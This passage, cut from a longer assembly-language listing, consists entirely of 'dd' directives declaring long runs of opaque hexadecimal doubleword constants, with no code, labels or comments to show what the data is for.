35A1E220h, 0BB399AD1h dd 0F6E4950Fh, 1956A0C7h, 0E58F43F8h, 0E22BF3FAh, 5230C89Bh dd 0FFD6FB59h, 0B9A793C8h, 525EBC75h, 68FFDB2h, 8D47CACBh dd 0FB52461h, 0A122933Dh, 3CFE9B2Dh, 493B8D13h, 2779D478h dd 8AF9A288h, 24658198h, 0DE213FC5h, 0D1DAF5E2h, 2837A6EBh dd 0A13A9DFEh, 515FCA45h, 0F673F834h, 5845AED4h, 7673EC62h dd 0BEC5DAh, 46AA83F7h, 12B997DBh, 0C4C81176h, 0DB1D2DFBh dd 0BCE023h, 5EB4B0BBh, 0D1BE912Ch, 0AF47726Eh, 74D80DABh dd 0F994BF37h, 7EAD433Dh, 0DABD9ADDh, 841AC3D6h, 0BAD35D26h dd 3790E7EDh, 0EC571794h, 0D872DDBCh, 0AAEEA51Ah, 8D0913A7h dd 60B0FE33h, 0A2C4A1E0h, 26ABAFC5h, 6134BB8Bh, 806C3066h dd 70DF83Bh, 9303DF4Ah, 26273756h, 0BD2D3715h, 701DE615h dd 59B4057Bh, 879C520Eh, 58C810B5h, 8F431A6h, 46E8F7F1h dd 56C5A171h, 0BBD022E8h, 0E0CBA6D1h, 515CC356h, 0F7F38364h dd 958A0CF7h, 21EE4844h, 0ECC398Ah, 0CE6C659Dh, 0AC21CC0Eh dd 28A6F895h, 2803260h, 0CFA0D333h, 1C84EEB2h, 5A846848h dd 0DF17BEE0h, 15CB5C95h, 26FA1152h, 0B6C09B58h, 0DEC8A407h dd 8F08D9CEh, 17D7D598h, 874A4A0Ah, 0A496418Dh, 7748F08h dd 9F7CD7AFh, 830002Bh, 37212595h, 0FD1B6BF0h, 284B6C00h dd 9C6250C2h, 20E990C4h, 63222233h, 9E7AC4D1h, 46B1B095h dd 8621C268h, 0BC40E503h, 6992D844h, 7F432B1Fh, 1E53E38Bh dd 0B2DE6030h, 5BBE7D9h, 74F3DCA5h, 395D1D20h, 23AA5E05h dd 96B18F62h, 34CE113Dh, 7B252DECh, 96ED025Dh, 0B2D6A263h dd 9C3B19ABh, 0E6A02838h, 1A311B9Ch, 9CD436F2h, 0D81EE15Fh dd 5923F2E9h, 79619B5Ch, 81C7C1CAh, 0A13CD26Dh, 3677ADA0h dd 868E225Ch, 5527904Dh, 7862C1AAh, 94892BCDh, 0AF9E6620h dd 2B08C750h, 0E8E49C11h, 91446AD4h, 8A48F2FDh, 0B3757017h dd 57C327Ch, 0D55E67FCh, 784EC0D2h, 0AAC5575Ah, 5554C8FAh dd 0ABFBE97Ah, 9BE54B4Ch, 0B93B4E1Fh, 1A650238h, 1E983237h dd 2D5061Fh, 98811CDDh, 1C888F4Ah, 0B8C9AB66h, 0B5AC2ACCh dd 607A5F29h, 816E99E0h, 1875765h, 24485E21h, 12E2ECB2h dd 0C8C975D4h, 0BDF8A8C3h, 108BFF3h, 11AE3134h, 458A6F29h dd 249F955Dh, 0F0A410CFh, 0B7B1415Fh, 165B512Bh, 30F561A5h dd 0A7250F85h, 247EEF46h, 0A3D895F0h, 0D63AB36h, 0CD131E78h dd 2CEDDEF4h, 0E2CEEED7h, 84D4D3A5h, 1472079Dh, 0AED302F7h dd 1BD5AF32h, 0FD0412D4h, 0BA49846h, 0C09E3488h, 0C13BC9FBh dd 3524F674h, 8D0AA3EBh, 88DA060Ah, 8851C25Dh, 313A6463h dd 0F8060CC5h, 0E521CF07h, 0F733FE3Eh, 3CCCABAh, 2C4D3996h dd 3FD0BA12h, 75D84AF4h, 773B8ABEh, 0B9E32A68h, 0FA9CBF6Dh dd 9E40006Ch, 291F7E5Ah, 0ABBFF9Bh, 1D1FD6FEh, 52F33FECh dd 6D584825h, 64750B34h dd 529BE2ECh, 4F3AB0Ah, 4BDB3690h, 0B124FB78h, 90AE653h dd 28AC3E26h, 3B9E454Dh, 0E36D07BAh, 0B6329CD8h, 98FD372Eh dd 67F00944h, 55EF79CEh, 654FB5BDh, 56B3645h, 0AE5B0A31h dd 0A34D853Dh, 155BC2F0h, 50B7C784h, 51EA900Ch, 7761C780h dd 756C0DFCh, 7CF6726h, 0EB4A5F76h, 302B166Ah, 0F19D3781h dd 9313CB21h, 6D91F17Ah, 0FB47EA0Bh, 5CC9BDAAh, 1F99E50Ah dd 0A0979370h, 26B653h, 90337542h, 0C6D3987h, 8071FAC1h dd 4559DC24h, 53D30D6h, 6AFF4414h, 0A79D3C61h, 0BDA1C97Eh dd 41F47EE7h, 0BD09E15Eh, 0FD703FAAh, 0E28E1104h, 0B5A8E40Ch dd 61446D28h, 1E09253Ch, 2173E09Dh, 78C15D8Eh, 0D0710FBDh dd 0B04D3741h, 0DEB40DC2h, 0DD7CF3E7h, 56360ED1h, 659E53BCh dd 6F13A6E2h, 17648AB4h, 0A79E69C0h, 84C85E46h, 44E6F44Ch dd 3FEDF165h, 0A6C47659h, 0CA36BA2Ch, 0BC6B7E54h, 849339A0h dd 420572DDh, 2FC15C73h, 0CB23AB79h, 0C6A5C5C6h, 0A4DB71FBh dd 3C050290h, 82FE41FDh, 0BAE8F0E9h, 0E3A92EDEh, 4EF5EF7Bh dd 858E8AF6h, 83EA728Fh, 68455450h, 63E6F96Dh, 0D147C36Fh dd 0FCFF1FADh, 7B45BC03h, 0FDA33F64h, 0A22B0A9Ah, 9ADD40Bh dd 0D922077Ah, 8C882327h, 0E5635D19h, 0FC9A7A4h, 7B635099h dd 0AD139B31h, 3287DCA7h, 477E2311h, 0AFFF2134h, 5D4CE9D4h dd 11FF6A40h, 0AFBC6A41h, 6EE6DA48h, 24DD27F5h, 0FACF15FFh dd 89E29256h, 0A3EA45C4h, 0D44D7E27h, 7C73CC5Bh, 678C05E8h dd 54038B86h, 0B07E5C88h, 0FC0860D2h, 0A5CC2E61h, 6A135FF3h dd 5B9ED5A5h, 0DB68AB91h, 195CD405h, 0F698F08Bh, 0EA8CAB21h dd 0E833302Dh, 752C6467h, 0F6F2733Ch, 0B2EBC0EEh, 112A88BDh dd 0A66781FFh, 26CBA456h, 0D32DEB8Fh, 0A3200130h, 1E67B3A6h dd 0F191FBEDh, 0EC3AB11Fh, 377DD7B1h, 82C214F8h, 5D64F4Dh dd 0A8DEA02Ah, 0F8D19BB9h, 24186C48h, 0BD441BCh, 0ADE6E478h dd 0CA1257ADh, 0F6BE26BBh, 75A74F9Bh, 26D8BDFDh, 0F01C6995h dd 3A01809h, 0EE2AAFABh, 7D5EFF1Eh, 0E9FDD186h, 0F016B229h dd 0F6C3C1BBh, 58CB0BB6h, 49269604h, 1439D021h, 0B71B743Dh dd 2AC283A5h, 0FC3F2211h, 18C1F58Dh, 0DEE6513Dh, 0F3730ABEh dd 0D31B2D80h, 6EE1C2F7h, 6333638Eh, 1E036834h, 0F7EC8F61h dd 0F2287DEEh, 503FC2DDh, 0E9670D90h, 60000CF2h, 5F5753A5h dd 71A14178h, 8311FA9h, 2695DDAh, 3BDC93C0h, 68BEC971h dd 8A7D99Ah, 2A69BB59h, 406F3442h, 65738ED5h, 0B50274A6h dd 2851EFBh, 3509C96Eh, 2F0D39A3h, 5E25B174h, 38BCCD0Dh dd 4E9421CDh, 49787559h, 0A0A36DF3h, 0B9CDB4CDh, 0D03AC5DAh dd 6A14EA17h, 5F2FE6CAh, 4F6E5BC2h, 80047C6Fh, 0AC422D64h dd 989BD8C2h, 0FC7EC0Dh, 32AECAFDh, 2DDB13F1h, 3C5E7045h dd 0EF434821h, 1C015B5Ch, 77F2A2EFh, 0C6FED8A9h, 26301749h dd 362853CFh, 8057BF03h, 56ABFF6Dh, 7B39B810h, 1ADC9111h dd 2087CAF7h, 0E5F6ACF9h, 0BCDB454Dh, 0F6E901EFh, 0B9D4533h dd 2313ABCh, 0F899EEEh, 0B1439ACAh, 0EEE876D5h, 445B881Bh dd 72CB3069h, 342D3AFCh, 0A99A17D1h, 4483A1BDh, 14236A73h dd 26642528h, 4A84AF1Bh, 69FB48A9h, 373D6FF4h, 8AA5D36h dd 3398076Fh, 574735CEh, 0B437943Bh, 0D4F77CD4h, 0A60A94DFh dd 0D047EF38h, 0BCB0BCDBh, 0E8B7F244h, 1302385Ah, 944C563Ah dd 0CBF78C25h, 7C6C6FADh, 604EC134h, 0AEA8EDDBh, 0A150204Fh dd 98B793B2h, 5F70594Ah, 0F32A920Bh, 3A627CDAh, 6798FCB8h dd 0CC040843h, 854C6F29h, 3876CC20h, 0A83F927Ch, 72A000C7h dd 0F02A81E2h, 3BD90AB7h, 5BD5F5D8h, 0AD17221h, 0C888E24Ah dd 9DD04307h, 59914D23h, 0D47F14B6h, 2FFD7DE6h, 8FFEC3A4h dd 59BE3242h, 0BE6AE949h, 7E464CB0h, 0D93D3A31h, 5F0538AAh dd 23C40E65h, 0C10B1A0Fh, 708E4A40h, 0ACBE3B3Bh, 27C55EA5h dd 0A59F28A5h, 0C6A05673h, 0A98A5194h, 60A6BC1Fh, 0C09E1D5Ah dd 853D18CDh, 36348D7Fh, 42A8D741h, 0C074EB8Ch, 82FFEE4Bh dd 80EA8D97h, 2CB78C99h, 0AD14DDB6h, 0EB4F7C29h, 148BEFB7h dd 7E31D4E6h, 55032F63h, 3BD07E5Bh, 0AAE681C0h, 8AE7BA9Fh dd 7A318614h, 0BDF87424h, 7ECB9102h, 2ABC74F4h, 0D077C1C6h dd 9F3D7537h, 8ABD0AB5h, 2BB13750h, 0A208C49Fh, 0EE19E20Dh dd 0F4CAC891h, 0E0CDF4D9h, 0B476A989h, 744791CEh, 0FC1CA3AFh dd 2783AD7Dh, 83B20839h, 1E9D47C7h, 8E80A207h, 0AD9E3A6Eh dd 84986727h, 89E5669h, 0CAB825F7h, 0ECC370Ch, 55175834h dd 0A43B28D6h, 78EEFADBh, 0BC922095h, 8167A162h, 0C2920B64h dd 6942ABC3h, 823BFB1Ah, 0DFC3E8FBh, 0AAA4E56Bh, 146807F7h dd 0B3BA5E7h, 427EFABh, 38D43F13h, 0FD5C7D1Bh, 0FCBCF80h dd 0CE60D47Fh, 2842E95Bh, 27839D2Eh, 7744EBE0h, 0F2D9DCF5h dd 0BFCBE13Eh, 536B2638h, 6B99F2BEh, 6F6E5B30h, 41FA61F1h dd 0A8417446h, 0B06DA294h, 0E6203752h, 2EE19F36h, 3A7E2091h dd 4F304E7h, 0A73334A8h, 0E03156CFh, 51D070CDh, 0AA1F442Ch dd 0F6550470h, 4C658FA3h, 3F506C59h, 0C77873B7h, 7FF2A00Dh dd 0AA6E1B4Fh, 7CE69E7h, 0EA1C6065h, 859FA28Ah, 0BD53AC8Ah dd 0CAE6C0F5h, 0DF6C714Bh, 0C78CE0E3h, 0AAB68D47h, 0D59A1ADFh dd 0F2D9ECD6h, 0B997925h, 3E88F8EBh, 17D07963h, 53C7B78Eh dd 3747EA56h, 7B0CD634h, 0C51E1721h, 0CEC3A121h, 0B7F16F87h dd 0BD5D8B28h, 2F7B8322h, 0CFAAEF0Ah, 2DB63266h, 46BD936Fh dd 0B09BC340h, 5A1CF6F9h, 0B281667Eh, 0DC39D617h, 74EDC8AEh dd 16052517h, 468D11E7h, 34FE2293h, 4D469A17h, 721B35Eh dd 5DF61E9Dh, 557E7AC2h, 0BB3D2A34h, 0C7762A96h, 0C75C8A74h dd 33182B74h, 0A3AFAF5Fh, 77FA43D1h, 359CADB9h, 0FE1D3E1h dd 85CCDE61h, 5FEE78F1h, 2781F27Dh, 0EB129BF5h, 3BD5FAEDh dd 6F1A24Fh, 0EFA369CEh, 71F0796Ah, 62332531h, 18344B29h dd 0A91BB6AAh, 53069925h, 0C6429F8Bh, 5C421889h, 0B371F94Ah dd 0DC236ED2h, 0AED622C1h, 86F0B121h, 78A271BFh, 0A4DBAC06h dd 85CFB2CDh, 0D657A2A2h, 419B4701h, 0CEE0995h, 7491F55Ah dd 49D2C0F4h, 319AFA84h, 927941B7h, 0C2622633h, 758D863h dd 0E5236F07h, 704C6A80h, 32B26101h, 0FA8DECFCh, 0FE2CB08Eh dd 92AC42E6h, 0F450D629h, 48EEFB20h, 1F88F99Eh, 0F047D8B7h dd 0AE19C78Fh, 0EE200573h, 60ED3A0Ch, 70CB04F0h, 0D3845FBDh dd 3FA57CE9h, 61A344F5h, 0D7AF49B1h, 175BDBF2h, 0A584AF0Bh dd 58357252h, 67890525h, 0A974F184h, 0FD6215ADh, 1F2EADCDh dd 6C877519h, 9ECBDBD7h, 0F022F8D1h, 1D1DDECh, 0CA7A2DD0h dd 791609D5h, 99BFF32Bh, 0EEF2F26Bh, 93062F8Bh, 2FF5DCFFh dd 0C1FBA2D1h, 5B09C19Ah, 0BC859458h, 0A1057734h, 0B50302C3h dd 747A0E84h, 5D706285h, 0A980CC62h, 74CFCEA8h, 3AEC339Eh dd 35D34F55h, 0BFFFAB95h, 3AA1E84Bh, 9E83B050h, 0A6A318EDh dd 81B5F74Ch, 265EE588h, 304492ECh, 0CACC0874h, 45672B1Bh dd 0EB7E111Ah, 0A8D9B4CDh, 0DA3C2F0Bh, 98D5DA58h, 85D47F89h dd 0EB8AFD83h, 0BF8AACF1h, 0E74EAB13h, 6EA7AB2h, 0F430D701h dd 954149C8h, 17B3A458h, 296A731h, 1DEEDAA6h, 34C8F7A8h dd 34D5139h, 8A1DA64h, 0B15B98D2h, 0C69CE978h, 0CECB5491h dd 0CAC94066h, 305CD2DBh, 0A044925h, 0C9AAEFFDh, 4F13C0Fh dd 0AD754454h, 9AD1A419h dd 7B8264ADh, 7AB20FAFh, 0F04652AAh, 0FFB4AA4h, 6439B4Ch dd 0E1B66D05h, 0EFFD7FC3h, 0AC3DD320h, 0E28947F0h, 0A8F8B82Dh dd 54E94DC5h, 794C8B5Ch, 0DC718FC6h, 1131ACD2h, 51F1486Dh dd 0C2B83ADEh, 0FF0B2C4h, 0CD7104F3h, 0CDFE2887h, 97883B16h dd 0DEAECD61h, 0D065A5D9h, 272C2D6Bh, 936F6F35h, 964AA33Ch dd 0F219B4C2h, 0AE870B28h, 0CC8E68DEh, 1FB2BED9h, 0A31D4950h dd 0EF6D3D12h, 9B34084Fh, 9493329Dh, 0AE619C2Ah, 9CB6B450h dd 0A9D23627h, 5CAA9789h, 89BF8A17h, 71049EEDh, 97EBB7A0h dd 4DF7E6D8h, 83682CD9h, 0BA4CFA52h, 2E2BE356h, 3D98F8A2h dd 3B806735h, 5587D9EDh, 5D378556h, 50271417h, 197887A8h dd 0DF86CAB8h, 1787C2DDh, 3803989Ch, 3882EF7h, 8124E766h dd 9903F9E2h, 5988AC09h, 890A6420h, 9D6E8D20h, 79FC47D3h dd 0C7C54F15h, 292D7E95h, 607F9608h, 0AF07D6BCh, 73A80DD9h dd 0D4A191CEh, 0AEA6B90Ch, 577BD9A2h, 17F750C0h, 9C146964h dd 0B57BD9A7h, 630611BDh, 8F39D52Eh, 8D12C8A2h, 9670CF0Bh dd 3CF99062h, 54FBF22Eh, 4D2F4ED4h, 0E729B119h, 5EB7D6E5h dd 16ECB22Ch, 3D9575A0h, 664B8FFFh, 4964A3C5h, 0CD2299F1h dd 0C8A1B9F5h, 0DB0150Ch, 923453F2h, 0BEAA5BFCh, 0AF770188h dd 9AE9B91Ch, 92FC7441h, 4ABD9566h, 0CC105577h, 439B00F4h dd 0C1DD01FCh, 4B982122h, 1E0EC581h, 5715359Eh, 0A2394B84h dd 28A103AAh, 0EE56E69Dh, 705133BCh, 4BD1A0EBh, 68A41CECh dd 2520E5CDh, 1D84DDB0h, 7B1FE131h, 9B5D2589h, 0AC16DCCCh dd 2296BA9h, 1617D2C4h, 210DCAF9h, 5309E048h, 0F53BCEC5h dd 87BE3A92h, 0A1C60399h, 84DC0FEDh, 3CE3BBA2h, 0CFCDB12h dd 6FFC8E3h, 0FF639B91h, 8EA43D6Ch, 0AC7E998Fh, 0E55E1DEAh dd 0C74B6E7Ah, 0C9EF014Ah, 47D232C2h, 4848F4Eh, 10BB6C4Dh dd 0D6D25A27h, 6954554Fh, 5DA092AFh, 9DF0DD31h, 0E3AAF99Dh dd 98C41EBBh, 0FBD71266h, 5F18DA6Bh, 98A79DF1h, 0F1C56979h dd 75890232h, 8826C469h, 0F2CA8E99h, 0C7170479h, 995C10BAh dd 246676F0h, 678E4B8Eh, 0BFD89584h, 0CF73E302h, 0C4A8C9D2h dd 0EC5218AFh, 0C1BC1D1Dh, 0B9DE8A75h, 0C7AA20C4h, 4A049297h dd 0F49624C6h, 4B36837Bh, 9F1CAD0Ch, 0B84B25EAh, 4DC47597h dd 51D0D5F4h, 3B7E1C2Ah, 14F467FEh, 289A870Bh, 3006255Ah dd 7B654219h, 33790813h, 39E9DAE8h, 0CD69778h, 0CA18B116h dd 0BDF128A7h, 0B146C3A6h, 1DB93714h, 3666818Ah, 0CB5D8799h dd 22172B94h, 0C9810F9Eh, 0F729BA46h, 3E5D8958h, 0CAE3DA51h dd 5BA5A9F7h, 43C9270Bh, 410C4C6Dh, 23C8683h, 841628C6h dd 53531AC6h, 63F614C5h, 0F5A83135h, 62AD299Ch, 0DDC9E0BAh dd 3831BB37h, 0A5FE6B47h, 1BFAB031h, 8C63C75Dh, 0BC3E71C7h dd 371748B9h, 8F620D72h, 0B6258FBFh, 3A78405Fh, 0FB00EC8Ch dd 0E654635Ch, 56FB1E09h, 49761959h, 0D9B1922Eh, 0B161D576h dd 0D12DF4E9h, 222DD99Dh, 927A78ADh, 7AFED1C2h, 98D31DC5h dd 381AC553h, 4F2A9CA8h, 105EBD8Eh, 0C5625244h, 1A212D98h dd 93E8FE02h, 17F2DA8Ch, 0FE8D9ED4h, 3F00D27Bh, 1843C9B4h dd 82009F87h, 6920B82Ch, 4083E1CAh, 7C416821h, 4FC1A868h dd 971B8F36h, 0C6A7634Ah, 0F8D61300h, 82BDAB34h, 0EE666138h dd 6D1DFE56h, 63A7E0h, 9109498h, 36F48494h, 9F24EEE0h dd 0A54F4705h, 78BA001Dh, 72FD8F8Ah, 0C6302BABh, 1E422340h dd 0A8632CEEh, 0BCD7D1C0h, 0A6660D5Ch, 2E3A3C92h, 8D6483B9h dd 0BBC0B793h, 0DB257106h, 106ABA54h, 45C0130Fh, 53AF7103h dd 7B19B9Bh, 0FEA28D10h, 0A6D105AFh, 684015A2h, 49441FC1h dd 0C9519E82h, 6782D822h, 705FCFEh, 7015C04Ah, 0DFC27138h dd 0B1AB4506h, 0F9668F8Dh, 3AD24CD3h, 0CC4C12CFh, 0A9B67DBAh dd 0F35A8D73h, 9EB953D1h, 21D1D8FAh, 44914838h, 4B7E2212h dd 42B80794h, 49B18EDh, 6406262Ch, 3C0B8F0Fh, 3E88A4F3h dd 7E36CBAAh, 7944274Ah, 0D3B08E8h, 0E67E703Dh, 0D1B218ECh dd 472FDD8Dh, 0CE454135h, 769E49C1h, 980427DFh, 0D344C20Bh dd 0F45DD6D3h, 0DC517CB1h, 85481AD9h, 0FAA4DCA0h, 84063059h dd 4D8B831Fh, 0C09424Ch, 0E309FEF1h, 123C1843h, 0BFD83191h dd 0ED180CDDh, 0F99F5127h, 2D2A86F4h, 0B9C91D0Eh, 0C324DB0h dd 768347E4h, 32160C9Bh, 3924E1A4h, 0DB7FA4F2h, 0EE4DCD0h dd 0DFFF60Fh, 0FD1771D2h, 0D7AB30B6h, 4BFFF8D4h, 0D6C94FFBh dd 0D250A2C5h, 0C2E62452h, 0CB217D6Dh, 37E73F2h, 9E4230E3h dd 6FD3E251h, 49A84A18h, 697770F8h, 0FD36777Dh, 0DC2B98E5h dd 0FB0945D6h, 22C83D42h, 194DDC66h, 29E24628h, 0B5AAFC61h dd 0D40009E6h, 91089BF0h, 0F41B302Ch, 21AAB398h, 0A579EB9Fh dd 0FD9EDE54h, 4238568Ch, 8A89A10h, 0BB603D65h, 91820202h dd 29CEDDA4h, 0CF71E518h, 0C40CCD78h, 9E78D617h, 0FD1EB9A4h dd 8FF8BBDDh, 64EBAABEh, 0ADD0BD45h, 0B314B70Bh, 844D5D8Ah dd 77B79992h, 324CAD91h, 0DCBA5F03h, 6028B82Bh, 1B75056Bh dd 0EFD05784h, 0F5A4ABCFh, 0FBBA2FD9h, 0DB4FB8A6h, 8DBC02A7h dd 0E5AE1883h, 0A8E05FCEh, 5A43C0A9h, 6D8FED74h, 0B003365Eh dd 0F61D64E7h, 18F30D71h, 6644126Bh, 0AEA8556Dh, 0DF50ABE8h dd 1CD6276h, 0DD29B482h, 0D52957Bh, 0A1FD685Fh, 0D06C53BDh dd 51494E14h, 0DCC6CB9Ch, 75C6A72Dh, 3403F50Fh, 5071265Eh dd 15D968D5h, 0F0F88C9Ch, 0E15EE6FFh, 507BB662h, 9D4C6E1Dh dd 186230B7h, 50EE3B29h, 0DA6ED4E7h, 86C5FA42h, 7E7B245h dd 9E90C5CAh, 24BFC1F6h, 0A3E514ABh, 0E4608D29h, 4D80DF04h dd 0FD44D300h, 774601EDh, 0E01D7BDCh, 0B5BA7F64h, 0E017CA69h dd 15579791h, 757CBDA0h, 0AB8732DCh, 89D1BF7h, 37E44F3Ch dd 0F1B45ABFh, 97F2DFDDh, 1C9A2989h, 7AE3CCFCh, 0D41D6221h dd 0DE272CA1h, 6A88458Bh, 1D9C47Bh, 0E0ACD037h, 0A7ED0C6Dh dd 7557A9E3h, 0B8418E9Eh, 0B8435586h, 202699BCh, 7BF4D80Fh dd 0D5D08F70h, 10178728h, 770A6B80h, 0C90DEB66h, 0E88B3D36h dd 6E0EDF88h, 37EF01DAh, 7196EABDh, 1F1AB877h, 0E7DD7E81h dd 208FC3B9h, 0C2C445B9h, 15DAEC40h, 6603DC55h, 0EC6577D6h dd 558BB27Eh, 0E6B9A2C7h, 5786F774h, 447654FDh, 7A7ADAB2h dd 7EDA6324h, 0BE2AFC12h, 46302980h, 1CD0DEECh, 57CF2E85h dd 4AFCBDBDh, 1D4611C8h, 0ECCA3AD4h, 0BDE35A3Dh, 0C1D3F99Eh dd 0AD8D6FF0h, 0B248C05Ch, 5C07418Eh, 5572EF27h, 325252A4h dd 0CD8B833Eh, 5B2B3B2Eh, 9EB76AE3h, 0D2F8D35Bh, 832F6C09h dd 9ADBC689h, 287CC5FAh, 0ED1743F6h, 6AEEF8BFh, 8E2AEDACh dd 0D21B0765h, 8D98431Dh, 4CC4F49h, 0DF13C8B5h, 0FB04D722h dd 2D7C3F9Ch, 4B9DF879h, 7AE7C4CBh, 15E0707Bh, 317911C9h dd 0D775E510h, 0FDF0C48Fh, 0F8B8D298h, 63E2C4B3h, 4EA3803Ch dd 1E9CA511h, 0F25352FEh, 0E87107F2h, 8874DEA1h, 7AF2E5CFh dd 6222654Fh, 0F80446B0h, 0E63A2C2Ah, 0C05153E1h, 43CF73D6h dd 0D2F8B37h, 0C38D722h, 6379E2CFh, 0CBDB4D25h, 633B6E8h dd 6D094734h, 0FC5F9B81h, 40E3D527h, 0EB5DD58h, 0B6B68D5Bh dd 219880ECh, 0AC0A544Dh, 0F5F43AA6h, 93A37488h, 0EC519067h dd 942A4456h, 0EBACF716h, 76B8C1FFh, 0E310177Eh, 0C4FFBA15h dd 551DCFDDh, 0C5380A86h, 0A531BA27h, 0A7C9F05Bh, 569D2103h dd 56C4A066h, 0D3D1A3D2h dd 3F0F2986h, 6B2F2796h, 0F79E755Fh, 0EFED72CCh, 0B56DAF7Fh dd 0C0530E8Fh, 506852B1h, 0C57EA380h, 0D3B87FE7h, 0A64FE790h dd 79D9EA49h, 0E5856BEEh, 0E6C0C1A9h, 8B43BBB0h, 36EC6FA3h dd 340068B6h, 79B6BFE8h, 4EB18BE0h, 6AF5B206h, 2CDDEC7Ch dd 0C331D410h, 901CEB88h, 70C62178h, 0EF357731h, 0ABCF1541h dd 0DF3D977Ah, 0C132C207h, 153A1B93h, 0BCA92127h, 353C61F2h dd 0B897C5D8h, 0F423B887h, 505F4E61h, 87D3083h, 18CD4C7Ah dd 135986D1h, 0A8B59A2Eh, 72A5EAD5h, 0A5347186h, 7543F3Eh dd 9AF45B85h, 2863031Eh, 13F2B76Fh, 0BE4796CDh, 0B48D8377h dd 4FA659F0h, 0E3727C0Fh, 231E5BEBh, 7B22A529h, 0E8E58687h dd 0B8E8D47Eh, 993536FEh, 0A0CC937Eh, 91754CFEh, 0DF5352C9h dd 0C35A2EA2h, 439BF41Ch, 1AC85F37h, 44C910Dh, 0A10ACB58h dd 0C5FA72D8h, 0D6AB2D05h, 0AEC6CB84h, 0ACAADE18h, 6557D5F7h dd 271A8BE7h, 0B232D8E2h, 55489D34h, 1B8C32CEh, 5D23FAA5h dd 215A7B4Ah, 7DE03AF0h, 4567FEFBh, 5B2B4FBEh, 746A51DCh dd 38D1C587h, 3ABE8ED0h, 9DE88056h, 8C63FB8Ah, 290F66F9h dd 932AEA9Ah, 54FA435Eh, 0C629F183h, 0DED661AAh, 2250E9Ch dd 0A344CBF8h, 9E4240CCh, 66251900h, 0A811BD5Eh, 0EA48DF0h dd 67E05342h, 0DF6F7E3Bh, 47769FE9h, 0C6910AF8h, 76604812h dd 71DB6481h, 46B19F46h, 32079ECFh, 5B78182h, 0A4DE74D9h dd 0D1D7D69Fh, 0CC039EECh, 1CE8F648h, 0D2CE9294h, 0CA8C1E7Ch dd 0B3807208h, 113A403Ah, 73A4AC7Fh, 4F8E04AAh, 0D240739Eh dd 8DC604E5h, 0BD1D9510h, 2748929Bh, 9F60D953h, 7F4DC5F1h dd 777DFFA8h, 44F55CEEh, 0FF4F0B4Bh, 6DEAD84Fh, 49440849h dd 0E8AD5218h, 0FF2B009h, 8A36AAE0h, 4AD4DFB2h, 1DD11BA4h dd 95A9AF11h, 0D9D94F0Dh, 76E1019Bh, 2EFB47E5h, 2B3686Ah dd 10243FBCh, 8A24C243h, 7A445546h, 0A21A092Fh, 2E5A6940h dd 4DCA0627h, 0F9F522CEh, 0A8F6CB8Eh, 63420ECCh, 482716FDh dd 927F994Ch, 4AAB9203h, 0DCD56CDh, 0A8FEBFBAh, 2F3C31D3h dd 0F9652D0h, 0A2E21CACh, 0D2776BEAh, 3E9C9D2Eh, 0FD520E54h dd 6CCBCB5Bh, 75C319C3h, 6DEA5135h, 6E14EBFAh, 3D28D0ECh dd 19EC7F85h, 0BB3883C9h, 0A95B5ADDh, 819B08A9h, 39E2D3AFh dd 9B865716h, 0C6E98A96h, 958A04FEh, 0DF41B2ACh, 9573E008h dd 3160C79Ch, 5D13DCDh, 4C6DA1B5h, 0B87AEB24h, 0EA2DDD8Eh dd 864E20D0h, 2F64CA02h, 0EA47CE65h, 0CAA9E3E2h, 59ADF130h dd 1827E46Eh, 6367F1E7h, 30BE326Eh, 49615DCEh, 7AB16886h dd 0A5FD0E9Ah, 725D101Eh, 5C72EDD0h, 60716475h, 0D2E97023h dd 3AC097CFh, 0B637E7F3h, 0C2A249FAh, 60340251h, 66C01BA5h dd 61ACA298h, 727328D9h, 0C5122248h, 1B816606h, 68B5C02h dd 7BA2354Bh, 987C3014h, 0D5C61CE3h, 0A3EF4011h, 7E1915E0h dd 310A6DD7h, 0E19B8100h, 74576EC3h, 0A6784FD6h, 95483083h dd 2B355F83h, 5461DCD0h, 5EDD8A03h, 0D5FC44F5h, 0CBA6F1F1h dd 44FB69E4h, 142CB511h, 6870B4DFh, 84ED0EE7h, 0E2E450CFh dd 47130FBFh, 129E909Fh, 79BC6B1Eh, 6B251495h, 0C1CA8C85h dd 9F59BF95h, 9973AB39h, 60AE0538h, 53E67D0Fh, 797B96FBh dd 228D2F4Fh, 0BBFFDEDDh, 0F03E7975h, 3D12A3C3h, 1F11B7DCh dd 580BF1DEh, 87F80BD3h, 0FF3FD011h, 966AC382h, 0A4F7E4F6h dd 0A8FD2066h, 10807632h, 0CA6B5083h, 2E9E4B42h, 21ACE69Ch dd 95559E8h, 932E7451h, 3423C928h, 8E73A5CDh, 2586AFB3h dd 15D2167Ah, 0CE5F107Bh, 30ADAC11h, 0EAB34387h, 3011881Dh dd 0A73F01B6h, 95D620Bh, 5D4AF296h, 0D1A47DB4h, 6E091963h dd 97DE8170h, 7D22DB02h, 0EEC58E08h, 808F0053h, 0BD0EA2C8h dd 486CD367h, 723DCB29h, 30343C3h, 83D63421h, 8E98B1CDh dd 0B48543FCh, 2728F50Eh, 0A54E7946h, 4BD3C12Bh, 21ED700Bh dd 0CBA5CFF3h, 2D266934h, 51275379h, 60A3F448h, 0E05AA352h dd 5AA54CFFh, 51CEE4A2h, 7D18DFADh, 0F181FA0Bh, 0BE89F76h dd 9B32B8C2h, 3783766Fh, 0CF484AE8h, 2AEC64ACh, 18E8C9D7h dd 0AEA3F4F7h, 5701748Ch, 0DA77FB12h, 4C2381C4h, 0A1A0D741h dd 0EEF37C41h, 4194D178h, 94EA26AFh, 69AD5771h, 0E223A6DCh dd 2140847Bh, 95EE5619h, 941AF9C9h, 79929434h, 0A1D4ECD4h dd 0E82F3724h, 0C270EF12h, 0ECDD07AAh, 44B8FC6Fh, 8F95C315h dd 57DEA7E7h, 0CA9ED51Dh, 0E0CDB2DFh, 0DEFBB2BEh, 0E5AB5ED8h dd 0C74B2E02h, 0C97AFD8Ch, 9165CBF5h, 628E372Ch, 7E60929Ah dd 5557C6D0h, 0EC0B0CD4h, 0C2EA2754h, 0E3D77FABh, 899125D2h dd 0F0A7FB8Eh, 0CC30004Ah, 0FC8B7264h, 8C184995h, 6DDBA948h dd 0AB7E74Ah, 6FAD650Ch, 0CB052A63h, 0C940853Ah, 0EF3BE661h dd 9124A6DAh, 0F755A65Dh, 0C1DF77E7h, 0B890AAB0h, 9372590Ch dd 0AB65A332h, 6C4E1A66h, 59DE9964h, 88937229h, 7F2C4B49h dd 0CEB86AB0h, 364D43D1h, 9E5AC260h, 0D2BC117Fh, 341FBAC0h dd 0BB1C3A66h, 0EF32900Bh, 0A0D7945h, 92B2B4AEh, 0E37B0178h dd 60626FDCh, 